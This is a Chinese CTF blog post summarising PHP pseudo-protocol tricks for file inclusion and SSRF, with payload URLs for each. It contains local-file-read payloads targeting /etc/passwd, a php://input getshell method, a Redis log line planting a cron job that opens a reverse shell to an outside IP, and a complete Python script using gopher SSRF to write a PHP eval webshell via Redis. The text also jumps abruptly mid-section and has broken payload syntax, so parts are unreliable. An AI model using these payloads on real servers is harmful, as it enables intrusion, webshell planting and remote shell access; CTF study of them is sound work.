




# CTF常用伪协议总结

原创

Asionm  已于 2022-02-26 21:16:13 修改  2254  收藏 3

分类专栏: [ctf总结](#) 文章标签: [php](#) [安全](#) [web安全](#)

于 2022-02-26 21:15:23 首次发布

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/weixin\\_51735061/article/details/123156046](https://blog.csdn.net/weixin_51735061/article/details/123156046)

版权



[ctf总结](#) 专栏收录该内容

6 篇文章 0 订阅

订阅专栏

## PHP伪协议

### • file://协议

用来读取本地的文件, 当用于文件读取函数时可以用。

常见检测是否存在漏洞写法:

```
www.xxx.com/?file=file:///etc/passwd
```

此协议不受allow\_url\_fopen,allow\_url\_include配置影响

### • php://input协议

此协议一般用于输入getshell的代码。

#### • 使用方法:

在get处填上php://input如下

```
www.xxx.xxx/?cmd=php://input
```

然后用hackbar或者其他工具, postPHP代码进行检验, 如

```
<?php>phpinfo()?>
```

此协议受allow\_url\_include配置影响

### • php://filter协议

此协议一般用来查看源码

一般用法如下

```
www.xxx.xxx/?file=php://filter/read=covert,vase64-encode/resource=index.php
```



```
1584706087.980465 [0 172.17.0.1:44490] "set" "mars" "\n * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\n"
```

剩下的修改路径和文件名称的请求，正常执行即可

## • gopher://协议

gopher://协议经常用来打内网的各种应用如mysql redis等。一般要用一些工具来进行构造payload 如gopherus等

之前用来打redis内网的脚本如下

```
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib.request
from urllib.parse import quote

url = "http://192.168.239.78:41403/index.php?url=" #windows上搭建的ssrf漏洞页面
gopher = "gopher://0.0.0.0:6379/_" #/var/www/html
#auth nonono
# 攻击脚本
data = ""
flushall
set test "\n\n\n<?php @eval($_POST[x]);?>\n\n\n"
config set dir /var/www/html
config set dbfilename shell.php
save
quit
"""

def encoder_url(data):
    encoder = ""
    for single_char in data:
        # 先转为ASCII
        encoder += str(hex(ord(single_char)))
    encoder = encoder.replace("0x", "%").replace("%a", "%0d%0a")
    return encoder

# 二次编码
encoder = encoder_url(encoder_url(data))

print(encoder)
# 生成payload
payload = url + quote(gopher, 'utf-8') + encoder

# 发起请求
request = urllib.request.Request(payload)
response = urllib.request.urlopen(request).read()
print(response)
```

## • zip://协议

zip://协议可以用来访问服务器中的压缩包，无论压缩包里面的文件是什么类型的都可以执行。也就是说如果服务器禁止我们上传php文件那么我们可以把php文件改后缀然后压缩再上传，然后用zip协议访问。要利用zip协议时一般要结合文件上传与文件包含两个漏洞

一般的代码为

**www.xxx.xxx/?file=zip:///php.zip#phpinfo.jpg**

其中的#好表示的是php.zip的子文件名。有时候#需要变成==%23==，url编码。

- **compress.bzip2://协议**

与zip协议类似不过要压缩成bzip2格式的

- **compress.zlib://协议**

与zip协议类似不过要压缩成zlib格式的

- **phar://协议**

phar://协议与zip://协议类似，它也可以访问zip包，访问的格式与zip的不同，如下所示

```
http://127.0.0.1/include.php?  
file=phar:///phpinfo.zip/phpinfo.txt  
#这里用/隔开了子文件
```